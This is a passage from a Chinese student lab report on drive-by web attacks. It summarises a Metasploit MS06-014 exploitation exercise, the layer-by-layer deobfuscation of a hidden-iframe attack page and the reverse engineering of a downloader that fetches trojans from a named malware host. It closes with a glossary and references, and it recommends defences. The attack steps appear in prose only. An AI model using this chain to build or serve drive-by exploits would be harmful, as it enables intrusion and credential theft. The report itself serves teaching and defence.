第五环是"落地与扩散"。 终极载荷 pps.exe 这个下载者,把"自动点 IE 安全提示框、autorun 蹭 U 盘传播、进程镂空注入、改系统日期、对抗卡巴、伪装成系统服务、再拉 20 个盗号木马"打包在一起——它的危害不在单个技巧多高级,而在于自动化、隐蔽化和可扩散。对应防御是禁用移动盘自动播放、EDR 监控进程注入/异常服务创建、以及网络层封堵 down.18dd.net 这类下载源。
贯穿这五环,有一个统一的体会:安全不能只靠"在某一点见招拆招",而要在杀伤链的多个环节都设防(纵深防御),并且越往"机制层"(打补丁、最小权限、CSP、行为检测)越可靠,越靠"特征层"(黑名单、查毒库)越被动。这次亲手把一条链从头解到尾,比单纯记"要打补丁、要装杀软"要深刻得多——因为我清楚地看到,每一道防线如果缺了,攻击具体会从哪一步钻进来。
五、实践总结
这次实践把"浏览器一侧"的攻防完整走了一遍:先当攻击者,用 Metasploit 的 MS06-014 挂网页、等靶机 IE 中招、拿到远程 shell;再当取证分析员,从一张假 404 页起步,顺着隐藏 iframe,把 base64 / XXTEA / 八进制 / \x 几层混淆一层层剥开,靠"网址做 MD5、按散列取文件"把真实地址和样本对应起来,最后用脱壳器、W32Dasm、IDA 把下载下来的 Delphi 下载者也扒清楚,认出它会再拉 20 个盗号木马;最后做攻防对抗,把 MS06-014 与 MS06-055 两个漏洞拼进一张"兼容性测试"页、hex 混淆藏进隐藏 iframe 当挂马链接,再从防守侧把它提取、解混淆、溯源到具体漏洞。
印象最深的是取证那一块"剥洋葱"的过程。在此之前我对挂马的认识停留在"有个坏网页",可当我亲手把 kl.htm 的 XXTEA 解开、看着它指向 pps.js,再把 1.js 解出"下载 014.exe 并执行",最后在 IDA 里看到那一长串 down.18dd.net/kl/0~19.exe——整条产业链的样子一下子就立体了:伪装、偷渡、混淆、利用、下载、扩散,环环相扣、分工明确。攻击的威力,确实更多来自自动化和可传播性,而不是某个单点技巧。
另一个体会是"用攻击者的视角去理解防御"非常高效。亲手用 set RHOST 报错才真正分清了"被动挂马 vs 主动渗透";亲手把网址 hex 编码再亲手解回来,才明白混淆和反混淆其实是同一枚硬币的两面;亲眼看着隐藏 iframe 在"什么都没发生"的页面背后把两个漏洞都触发——这些都比背结论印象深得多。也正因为完整走过攻击侧,我才更确信防御要做在"机制层":打补丁、最小权限、CSP、行为检测、纵深设防,缺一不可。
附录:术语速查表
| 术语 | 一句话解释 |
|---|---|
| 网页挂马 | 在网页里嵌入利用代码,访问者一访问就被植入木马 |
| MS06-014 | IE 通过 RDS.DataSpace 等 COM 组件 CreateObject 的代码执行漏洞 |
| MS06-055 | IE 的 VML 填充方法(vgx.dll)缓冲区溢出漏洞 |
| Metasploit / msfconsole | 渗透测试框架;exploit 模块 + payload 组合发起攻击 |
| PAYLOAD / reverse shell | 漏洞利用成功后执行的代码;反弹 shell 由靶机主动回连攻击机 |
| SRVHOST/SRVPORT/URIPATH | 浏览器漏洞里"挂马服务器在哪、端口、URL 路径" |
| 隐藏 iframe | 宽高 0 或 display:none 的内嵌框架,用来偷加载二级页面 |
| heap spray(堆喷射) | 用大量 NOP+shellcode 填堆,提高漏洞触发后命中 shellcode 的概率 |
| shellcode | 漏洞利用成功后最先执行的一小段机器码 |
| XXTEA | 一种微型分组加密算法,挂马常用它加密页面(本例密钥 script) |
base64 / \x / \ddd |
常见编码:base64、十六进制转义、八进制转义,用于混淆脚本 |
| Dean Edwards packer | 形如 eval(function(p,a,c,k,e,d){…}) 的 JS 打包器 |
| ADODB.Stream | 可把数据写入本地文件的 COM 组件,挂马用它把下载的 EXE 落地 |
| Shell.Application / ShellExecute | 调用系统执行程序的 COM 接口,用来运行落地的木马 |
| 下载者(Downloader) | 自身体积小、专门去下载并运行更多木马的恶意程序 |
| Upack | 一种可执行文件加壳器;脱壳后才能正常反汇编 |
| W32Dasm / IDA Pro / OllyDbg | 静态反汇编 / 反汇编与分析 / 动态调试工具 |
| InprocServer32 | 注册表中 COM 组件的 DLL 路径项,常被木马劫持 |
| 进程镂空(process hollowing) | 用 ZwUnmapViewOfSection+VirtualAllocEx 把恶意代码塞进正常进程 |
| autorun.inf | 移动盘自动播放配置文件,蠕虫借它在 U 盘间传播 |
| MD5 散列 | 把任意数据映射成 128 位摘要;本例用"网址的 MD5"做文件名 |
参考资料
- 诸葛建伟. 《网络攻防技术与实践》. 电子工业出版社.
- Microsoft Security Bulletin MS06-014 / MS06-055(IE COM CreateObject、VML 漏洞公告). https://learn.microsoft.com/
- Metasploit Framework 文档(
windows/browser/ie_createobject、ms06_055_vml_method模块). https://docs.metasploit.com/ - Rapid7 / Exploit-DB 上 MS06-014、MS06-055 的模块与漏洞说明. https://www.rapid7.com/db/ ;https://www.exploit-db.com/
- Wikipedia & GitHub 上 XXTEA 算法说明与 JS 实现. https://en.wikipedia.org/wiki/XXTEA
- OWASP — Drive-by Download 与 Content Security Policy(CSP)说明. https://owasp.org/
- 微软文档 — ADODB.Stream / Shell.Application(
ShellExecute)COM 对象说明. https://learn.microsoft.com/

浙公网安备 33010602011771号